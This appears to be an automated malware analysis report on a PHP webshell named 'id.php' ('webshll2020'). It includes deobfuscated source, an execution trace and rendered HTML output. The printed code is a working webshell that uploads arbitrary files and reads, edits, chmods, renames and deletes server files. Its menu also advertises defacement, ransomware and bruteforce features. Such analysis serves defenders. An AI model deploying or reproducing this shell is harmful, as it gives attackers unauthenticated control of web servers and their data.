PHP Malware Analysis

id.php

md5: 3ce86dc5b98880a6c7c84d5c8f7d97ba

Jump to:

Screenshot


Attributes

Environment

Files

Input

URLs


Deobfuscated PHP code

<?php

error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\r\n<html>\r\n<head>\r\n\t<link href=\"https://fonts.googleapis.com/css?family=Black+Ops+One\" rel=\"stylesheet\">\r\n\t<link href=\"https://fonts.googleapis.com/css?family=Merienda\" rel=\"stylesheet\">\r\n\t<link href=\"https://fonts.googleapis.com/css?family=anime+ace\" rel=\"stylesheet\" type=\"text/css\">\r\n<link href=\"https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display\" rel=\"stylesheet\">\r\n<style>\r\nbody{\r\nfont-family: Merienda;\r\nbackground-color: black;\r\ncolor: white;\r\n}\r\n#content tr:hover{\r\nbackground-color: blue;\r\ntext-shadow:0px 0px 10px #fff;\r\n}\r\n#content .first{\r\nbackground-color: yellow;\r\n}\r\ntable{\r\nborder: 1px #000000;\r\n}\r\na{\r\ncolor:white;\r\nfont-size: 20px;\r\ntext-decoration:none;\r\n}\r\na:hover{\r\ncolor:green;\r\ntext-shadow:0px 0px 10px #ffffff;\r\n}\r\ninput,select,textarea{\r\nborder: 2px #000000 solid;\r\n-moz-border-radius: 5px;\r\n-webkit-border-radius:5px;\r\nborder-radius:5px;\r\n}\r\nh1{\r\ncolor:lime;\r\nfont-size:15px;\r\n}\r\n.squr_table {\r\n    -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\t-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\tbox-shadow:inset 0px 34px 0px -15px #1a1717;\r\n\tbackground-color:#000000;\r\n\tborder:1px solid #ff0000;\r\n\tdisplay:inline-block;\r\n\tcursor:pointer;\r\n\tcolor:aqua;\r\n\tfont-size:17x;\r\n\tfont-weight:bold;\r\n\tpadding:3px 20px;\r\n\ttext-decoration:none;\r\n\ttext-shadow:0px -1px 0px #ff0505;\r\n       }\r\n.squr_table a:hover {\r\n\tbackground-color:#8f1b0b;;\r\n\tcolor: yellow;\r\n\ttext-decoration: Rajdhani;\r\n       }\r\n</style>\r\n</head>\r\n</head><center><h1><b><font color=#436EEE>\xe1E</font><font color=#436EEE>\xd3\xea</font><font color=#CD3278>\xa4\xce</font><font color=#CD3278>\xefL</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center>\r\n</h1></center>\r\n<table width=\"960\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r\n<tr><td>";
echo "<h1>\r\nyour IP    : " . $_SERVER['REMOTE_ADDR'] . "<br>\r\nIP Server : " . gethostbyname($_SERVER['HTTP_HOST']) . "<br>\r\nsystem.   : " . php_uname() . "</h1><br>";
echo "<table width=\"960\" border=\"1\" cellpadding=\"0\" cellspacing=\"0\" align=\"center\">\r\n<tr><td>";
echo "path : ";
if (isset($_GET['path'])) {
    $path = $_GET['path'];
} else {
    $path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$paths[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $pat . '</a>/';
}
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"lime\">UPLOAD SUCCESSSSS !!!!</font><br/>";
    } else {
        echo "<font color=\"red\">UPLOAD FAILEDDDD !!!!!!!</font><br/>";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\r\n<font color=\"white\"><br><b>Upload :</font><input type=\"file\" name=\"file\"/>\r\n<input type=\"submit\" value=\"Upload\" /><br><br>\r\n</form>";
echo "</td></tr>";
echo "</table>";
echo "<center><table id='menu' width='960' border='2' cellpadding='3' cellspacing='0'><tr><td>";
echo "<center><a class='squr_table' href='?'>home  </a> \r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>mass deface</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>mass delete</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>zone h notifer</a><br>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>ransomeware</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>symlink</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>wp bruteforce v.1</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>wp bruteforce v.2</a><br>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>ngewe online</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>nomer sedot wc</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>md5 encript</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>md5 decript</a>\r\n<a class='squr_table' href=''.{$path}.'&5qur=mass>lu kontol tq :v</a><br>\r\n</center>";
echo "</td></tr></table></center>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Current File : ";
    echo $_GET['filesrc'];
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"lime\">Change Perm bisa om</font><br/>";
            } else {
                echo "<font color=\"red\">Change Perm Gagal Om</font><br />";
            }
        }
        echo '<form method="POST"><font face="Sedgwick Ave Display">
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"lime\">Rename berhasil Om</font><br/>";
            } else {
                echo "<font color=\"red\">Rename Gagal Om</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST"><font face="Sedgwick Ave Display">
New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Go" />
</form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"lime\">berhasil om</font><br/>";
            } else {
                echo "<font color=\"red\">Gagal om servernya kek tai</font><br/>";
            }
            fclose($fp);
        }
        echo '<form method="POST">
<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
<input type="hidden" name="path" value="' . $_POST['path'] . '">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
    }
    echo "</center>";
} else {
    echo "</table><br/><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"lime\">Directory Terhapus om</font><br/>";
            } else {
                echo "<font color=\"red\">Directory Gagal Terhapus om                                                                                                                                                                                                                                                                                           </font><br/>";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"lime\">Terhapus om</font><br/>";
            } else {
                echo "<font color=\"red\">File Gagal Dihapus om</font><br/>";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"960\" border=\"2\" cellpadding=\"3\" cellspacing=\"0\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center><font color=\"black\">N4m3</peller></center></td>\r\n<td><center><font color=\"black\">S1z3</peller></center></td>\r\n<td><center><font color=\"black\">P3rm15ion</peller></center></td>\r\n<td><center><font color=\"black\">4ct1on</peller></center></td>\r\n</tr>";
    foreach ($scandir as $dir) {
        if (!is_dir($path . '/' . $dir) || $dir == '.' || $dir == '..') {
            continue;
        }
        echo '<tr>
<td><a href="?path=' . $path . '/' . $dir . '">' . $dir . '</a></td>
<td><center>--</center></td>
<td><center>';
        if (is_writable($path . '/' . $dir)) {
            echo "<font color=\"aqua\">";
        } elseif (!is_readable($path . '/' . $dir)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $dir);
        if (is_writable($path . '/' . $dir) || !is_readable($path . '/' . $dir)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">RenaMe</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="' . $dir . '">
<input type="hidden" name="path" value="' . $path . '/' . $dir . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file($path . '/' . $file)) {
            continue;
        }
        $size = filesize($path . '/' . $file) / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        echo '<tr>
<td><a href="?filesrc=' . $path . '/' . $file . '&path=' . $path . '">' . $file . '</a></td>
<td><center>' . $size . '</center></td>
<td><center>';
        if (is_writable($path . '/' . $file)) {
            echo "<font color=\"aqua\">";
        } elseif (!is_readable($path . '/' . $file)) {
            echo "<font color=\"red\">";
        }
        echo perms($path . '/' . $file);
        if (is_writable($path . '/' . $file) || !is_readable($path . '/' . $file)) {
            echo "</font>";
        }
        echo '</center></td>
<td><center><form method="POST" action="?option&path=' . $path . '">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="' . $file . '">
<input type="hidden" name="path" value="' . $path . '/' . $file . '">
<input type="submit" value=">">
</form></center></td>
</tr>';
    }
    echo "</table>\r\n</div>";
}
echo "<center><br/><font face=\"Sedgwick Ave Display\" color=\"white\" style=\"text-shadow: 0 0 40px blue, 0 0 15px blue, 0 0 7px blue, 0 0 80px blue; font-weight:bold: blue; font-size:80px\"></head><center><h1><b><font color=#436EEE>\xe1E</font><font color=#436EEE>\xd3\xea</font><font color=#CD3278>\xa4\xce</font><font color=#CD3278>\xefL</font><font color=#DC143C>webshll</font><font color=#00688B>2020</font><font color=#00688B></font></a></h1></b></center></center>\r\n</body>\r\n</html>";
function perms($file)
{
    $perms = fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}

Execution traces

data/traces/3ce86dc5b98880a6c7c84d5c8f7d97ba_trace-1676243504.1885.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:12:10.086289]
1	0	1	0.000146	393464
1	3	0	0.000463	453160	{main}	1		/var/www/html/uploads/id.php	0	0
2	4	0	0.000481	453160	error_reporting	0		/var/www/html/uploads/id.php	2	1	0
2	4	1	0.000496	453200
2	4	R			22527
2	5	0	0.000510	453160	set_time_limit	0		/var/www/html/uploads/id.php	3	1	0
2	5	1	0.000525	453224
2	5	R			FALSE
2	6	0	0.000538	453192	get_magic_quotes_gpc	0		/var/www/html/uploads/id.php	5	0
2	6	1	0.000550	453192
2	6	R			FALSE
2	7	0	0.000565	453272	gethostbyname	0		/var/www/html/uploads/id.php	80	1	'localhost'
2	7	1	0.000602	453352
2	7	R			'127.0.0.1'
2	8	0	0.000618	453304	php_uname	0		/var/www/html/uploads/id.php	81	0
2	8	1	0.000631	453416
2	8	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	9	0	0.000651	453192	getcwd	0		/var/www/html/uploads/id.php	88	0
2	9	1	0.000664	453240
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/id.php	88	$path = '/var/www/html/uploads'
2	10	0	0.000691	453240	str_replace	0		/var/www/html/uploads/id.php	90	3	'\\'	'/'	'/var/www/html/uploads'
2	10	1	0.000706	453336
2	10	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/id.php	90	$path = '/var/www/html/uploads'
2	11	0	0.000731	453240	explode	0		/var/www/html/uploads/id.php	91	2	'/'	'/var/www/html/uploads'
2	11	1	0.000744	453816
2	11	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/id.php	91	$paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/id.php	93	$id = 0
1		A						/var/www/html/uploads/id.php	95	$a = TRUE
1		A						/var/www/html/uploads/id.php	93	$id = 1
1		A						/var/www/html/uploads/id.php	101	$i = 0
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	93	$id = 2
1		A						/var/www/html/uploads/id.php	101	$i = 0
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	93	$id = 3
1		A						/var/www/html/uploads/id.php	101	$i = 0
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	93	$id = 4
1		A						/var/www/html/uploads/id.php	101	$i = 0
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
1		A						/var/www/html/uploads/id.php	101	$i++
2	12	0	0.000976	453744	scandir	0		/var/www/html/uploads/id.php	208	1	'/var/www/html/uploads'
2	12	1	0.001008	454360
2	12	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'id.php', 5 => 'prepend.php']
1		A						/var/www/html/uploads/id.php	208	$scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'id.php', 5 => 'prepend.php']
2	13	0	0.001045	454376	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/.'
2	13	1	0.001060	454440
2	13	R			TRUE
2	14	0	0.001074	454408	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/..'
2	14	1	0.001089	454456
2	14	R			TRUE
2	15	0	0.001102	454416	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/.htaccess'
2	15	1	0.001116	454456
2	15	R			FALSE
2	16	0	0.001129	454416	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/data'
2	16	1	0.001143	454456
2	16	R			TRUE
2	17	0	0.001161	454528	is_writable	0		/var/www/html/uploads/id.php	223	1	'/var/www/html/uploads/data'
2	17	1	0.001179	454568
2	17	R			TRUE
2	18	0	0.001193	454528	perms	1		/var/www/html/uploads/id.php	225	1	'/var/www/html/uploads/data'
3	19	0	0.001206	454528	fileperms	0		/var/www/html/uploads/id.php	285	1	'/var/www/html/uploads/data'
3	19	1	0.001218	454568
3	19	R			16895
2		A						/var/www/html/uploads/id.php	285	$perms = 16895
2		A						/var/www/html/uploads/id.php	301	$info = 'd'
2		A						/var/www/html/uploads/id.php	314	$info .= 'r'
2		A						/var/www/html/uploads/id.php	315	$info .= 'w'
2		A						/var/www/html/uploads/id.php	318	$info .= 'x'
2		A						/var/www/html/uploads/id.php	321	$info .= 'r'
2		A						/var/www/html/uploads/id.php	322	$info .= 'w'
2		A						/var/www/html/uploads/id.php	325	$info .= 'x'
2		A						/var/www/html/uploads/id.php	328	$info .= 'r'
2		A						/var/www/html/uploads/id.php	329	$info .= 'w'
2		A						/var/www/html/uploads/id.php	332	$info .= 'x'
2	18	1	0.001344	454568
2	18	R			'drwxrwxrwx'
2	20	0	0.001358	454528	is_writable	0		/var/www/html/uploads/id.php	226	1	'/var/www/html/uploads/data'
2	20	1	0.001374	454568
2	20	R			TRUE
2	21	0	0.001388	454528	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/id.php'
2	21	1	0.001401	454568
2	21	R			FALSE
2	22	0	0.001414	454536	is_dir	0		/var/www/html/uploads/id.php	218	1	'/var/www/html/uploads/prepend.php'
2	22	1	0.001429	454584
2	22	R			FALSE
2	23	0	0.001442	454528	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/.'
2	23	1	0.001456	454552
2	23	R			FALSE
2	24	0	0.001469	454520	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/..'
2	24	1	0.001482	454568
2	24	R			FALSE
2	25	0	0.001495	454528	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/.htaccess'
2	25	1	0.001509	454568
2	25	R			TRUE
2	26	0	0.001521	454528	filesize	0		/var/www/html/uploads/id.php	246	1	'/var/www/html/uploads/.htaccess'
2	26	1	0.001533	454568
2	26	R			64
1		A						/var/www/html/uploads/id.php	246	$size = 0.0625
2	27	0	0.001556	454472	round	0		/var/www/html/uploads/id.php	247	2	0.0625	3
2	27	1	0.001622	454544
2	27	R			0.063
1		A						/var/www/html/uploads/id.php	247	$size = 0.063
1		A						/var/www/html/uploads/id.php	251	$size = '0.063 KB'
2	28	0	0.001661	454568	is_writable	0		/var/www/html/uploads/id.php	258	1	'/var/www/html/uploads/.htaccess'
2	28	1	0.001678	454608
2	28	R			FALSE
2	29	0	0.001691	454568	is_readable	0		/var/www/html/uploads/id.php	259	1	'/var/www/html/uploads/.htaccess'
2	29	1	0.001705	454608
2	29	R			TRUE
2	30	0	0.001718	454568	perms	1		/var/www/html/uploads/id.php	260	1	'/var/www/html/uploads/.htaccess'
3	31	0	0.001731	454568	fileperms	0		/var/www/html/uploads/id.php	285	1	'/var/www/html/uploads/.htaccess'
3	31	1	0.001744	454608
3	31	R			33188
2		A						/var/www/html/uploads/id.php	285	$perms = 33188
2		A						/var/www/html/uploads/id.php	295	$info = '-'
2		A						/var/www/html/uploads/id.php	314	$info .= 'r'
2		A						/var/www/html/uploads/id.php	315	$info .= 'w'
2		A						/var/www/html/uploads/id.php	318	$info .= '-'
2		A						/var/www/html/uploads/id.php	321	$info .= 'r'
2		A						/var/www/html/uploads/id.php	322	$info .= '-'
2		A						/var/www/html/uploads/id.php	325	$info .= '-'
2		A						/var/www/html/uploads/id.php	328	$info .= 'r'
2		A						/var/www/html/uploads/id.php	329	$info .= '-'
2		A						/var/www/html/uploads/id.php	332	$info .= '-'
2	30	1	0.001861	454608
2	30	R			'-rw-r--r--'
2	32	0	0.001874	454568	is_writable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/.htaccess'
2	32	1	0.001889	454608
2	32	R			FALSE
2	33	0	0.001902	454568	is_readable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.001916	454608
2	33	R			TRUE
2	34	0	0.001930	454568	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/data'
2	34	1	0.001944	454608
2	34	R			FALSE
2	35	0	0.001958	454568	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/id.php'
2	35	1	0.001970	454608
2	35	R			TRUE
2	36	0	0.001983	454568	filesize	0		/var/www/html/uploads/id.php	246	1	'/var/www/html/uploads/id.php'
2	36	1	0.001995	454608
2	36	R			11355
1		A						/var/www/html/uploads/id.php	246	$size = 11.0888671875
2	37	0	0.002018	454472	round	0		/var/www/html/uploads/id.php	247	2	11.0888671875	3
2	37	1	0.002031	454544
2	37	R			11.089
1		A						/var/www/html/uploads/id.php	247	$size = 11.089
1		A						/var/www/html/uploads/id.php	251	$size = '11.089 KB'
2	38	0	0.002067	454568	is_writable	0		/var/www/html/uploads/id.php	258	1	'/var/www/html/uploads/id.php'
2	38	1	0.002081	454608
2	38	R			FALSE
2	39	0	0.002100	454568	is_readable	0		/var/www/html/uploads/id.php	259	1	'/var/www/html/uploads/id.php'
2	39	1	0.002114	454608
2	39	R			TRUE
2	40	0	0.002127	454568	perms	1		/var/www/html/uploads/id.php	260	1	'/var/www/html/uploads/id.php'
3	41	0	0.002139	454568	fileperms	0		/var/www/html/uploads/id.php	285	1	'/var/www/html/uploads/id.php'
3	41	1	0.002151	454608
3	41	R			33204
2		A						/var/www/html/uploads/id.php	285	$perms = 33204
2		A						/var/www/html/uploads/id.php	295	$info = '-'
2		A						/var/www/html/uploads/id.php	314	$info .= 'r'
2		A						/var/www/html/uploads/id.php	315	$info .= 'w'
2		A						/var/www/html/uploads/id.php	318	$info .= '-'
2		A						/var/www/html/uploads/id.php	321	$info .= 'r'
2		A						/var/www/html/uploads/id.php	322	$info .= 'w'
2		A						/var/www/html/uploads/id.php	325	$info .= '-'
2		A						/var/www/html/uploads/id.php	328	$info .= 'r'
2		A						/var/www/html/uploads/id.php	329	$info .= '-'
2		A						/var/www/html/uploads/id.php	332	$info .= '-'
2	40	1	0.002267	454608
2	40	R			'-rw-rw-r--'
2	42	0	0.002280	454568	is_writable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/id.php'
2	42	1	0.002295	454608
2	42	R			FALSE
2	43	0	0.002307	454568	is_readable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/id.php'
2	43	1	0.002321	454608
2	43	R			TRUE
2	44	0	0.002335	454576	is_file	0		/var/www/html/uploads/id.php	245	1	'/var/www/html/uploads/prepend.php'
2	44	1	0.002349	454624
2	44	R			TRUE
2	45	0	0.002362	454584	filesize	0		/var/www/html/uploads/id.php	246	1	'/var/www/html/uploads/prepend.php'
2	45	1	0.002375	454624
2	45	R			57
1		A						/var/www/html/uploads/id.php	246	$size = 0.0556640625
2	46	0	0.002399	454480	round	0		/var/www/html/uploads/id.php	247	2	0.0556640625	3
2	46	1	0.002411	454552
2	46	R			0.056
1		A						/var/www/html/uploads/id.php	247	$size = 0.056
1		A						/var/www/html/uploads/id.php	251	$size = '0.056 KB'
2	47	0	0.002445	454584	is_writable	0		/var/www/html/uploads/id.php	258	1	'/var/www/html/uploads/prepend.php'
2	47	1	0.002460	454624
2	47	R			FALSE
2	48	0	0.002473	454584	is_readable	0		/var/www/html/uploads/id.php	259	1	'/var/www/html/uploads/prepend.php'
2	48	1	0.002487	454624
2	48	R			TRUE
2	49	0	0.002500	454584	perms	1		/var/www/html/uploads/id.php	260	1	'/var/www/html/uploads/prepend.php'
3	50	0	0.002513	454584	fileperms	0		/var/www/html/uploads/id.php	285	1	'/var/www/html/uploads/prepend.php'
3	50	1	0.002526	454624
3	50	R			33261
2		A						/var/www/html/uploads/id.php	285	$perms = 33261
2		A						/var/www/html/uploads/id.php	295	$info = '-'
2		A						/var/www/html/uploads/id.php	314	$info .= 'r'
2		A						/var/www/html/uploads/id.php	315	$info .= 'w'
2		A						/var/www/html/uploads/id.php	318	$info .= 'x'
2		A						/var/www/html/uploads/id.php	321	$info .= 'r'
2		A						/var/www/html/uploads/id.php	322	$info .= '-'
2		A						/var/www/html/uploads/id.php	325	$info .= 'x'
2		A						/var/www/html/uploads/id.php	328	$info .= 'r'
2		A						/var/www/html/uploads/id.php	329	$info .= '-'
2		A						/var/www/html/uploads/id.php	332	$info .= 'x'
2	49	1	0.002641	454624
2	49	R			'-rwxr-xr-x'
2	51	0	0.002655	454584	is_writable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/prepend.php'
2	51	1	0.002670	454624
2	51	R			FALSE
2	52	0	0.002683	454584	is_readable	0		/var/www/html/uploads/id.php	261	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.002697	454624
2	52	R			TRUE
1	3	1	0.002712	454520
			0.002745	326160
TRACE END   [2023-02-12 21:12:10.088915]


Generated HTML code

<html><head>
	<link href="https://fonts.googleapis.com/css?family=Black+Ops+One" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=Merienda" rel="stylesheet">
	<link href="https://fonts.googleapis.com/css?family=anime+ace" rel="stylesheet" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Sedgwick+Ave+Display" rel="stylesheet">
<style>
body{
font-family: Merienda;
background-color: black;
color: white;
}
#content tr:hover{
background-color: blue;
text-shadow:0px 0px 10px #fff;
}
#content .first{
background-color: yellow;
}
table{
border: 1px #000000;
}
a{
color:white;
font-size: 20px;
text-decoration:none;
}
a:hover{
color:green;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea{
border: 2px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
h1{
color:lime;
font-size:15px;
}
.squr_table {
    -moz-box-shadow:inset 0px 34px 0px -15px #1a1717;
	-webkit-box-shadow:inset 0px 34px 0px -15px #1a1717;
	box-shadow:inset 0px 34px 0px -15px #1a1717;
	background-color:#000000;
	border:1px solid #ff0000;
	display:inline-block;
	cursor:pointer;
	color:aqua;
	font-size:17x;
	font-weight:bold;
	padding:3px 20px;
	text-decoration:none;
	text-shadow:0px -1px 0px #ff0505;
       }
.squr_table a:hover {
	background-color:#8f1b0b;;
	color: yellow;
	text-decoration: Rajdhani;
       }
</style>
</head>
<body><center><h1><b><font color="#436EEE">�E</font><font color="#436EEE">��</font><font color="#CD3278">��</font><font color="#CD3278">�L</font><font color="#DC143C">webshll</font><font color="#00688B">2020</font><font color="#00688B"></font></b></h1></center>

<table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tbody><tr><td><h1>
your IP    : ::1<br>
IP Server : 127.0.0.1<br>
system.   : Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</h1><br><table width="960" border="1" cellpadding="0" cellspacing="0" align="center">
<tbody><tr><td>path : <a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/<form enctype="multipart/form-data" method="POST">
<font color="white"><br><b>Upload :</b></font><b><input type="file" name="file">
<input type="submit" value="Upload"><br><br>
</b></form></td></tr></tbody></table><center><table id="menu" width="960" border="2" cellpadding="3" cellspacing="0"><tbody><tr><td><center><a class="squr_table" href="?">home  </a> 
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">mass deface</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">mass delete</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">zone h notifer</a><br>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">ransomeware</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">symlink</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">wp bruteforce v.1</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">wp bruteforce v.2</a><br>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">ngewe online</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">nomer sedot wc</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">md5 encript</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">md5 decript</a>
<a class="squr_table" href="" .="" var="" www="" html.'&5qur="mass">lu kontol tq :v</a><br>
</center></td></tr></tbody></table></center></td></tr></tbody></table><br><center></center><div id="content"><table width="960" border="2" cellpadding="3" cellspacing="0" align="center">
<tbody><tr class="first">
<td><center><font color="black">N4m3</font></center></td>
<td><center><font color="black">S1z3</font></center></td>
<td><center><font color="black">P3rm15ion</font></center></td>
<td><center><font color="black">4ct1on</font></center></td>
</tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
<td><a href="?filesrc=/var/www/html/beneri.se_malware_analysis&amp;path=/var/www/html">beneri.se_malware_analysis</a></td>
<td><center>0 KB</center></td>
<td><center>-rw-r--r--</center></td>
<td><center><form method="POST" action="?option&amp;path=/var/www/html">
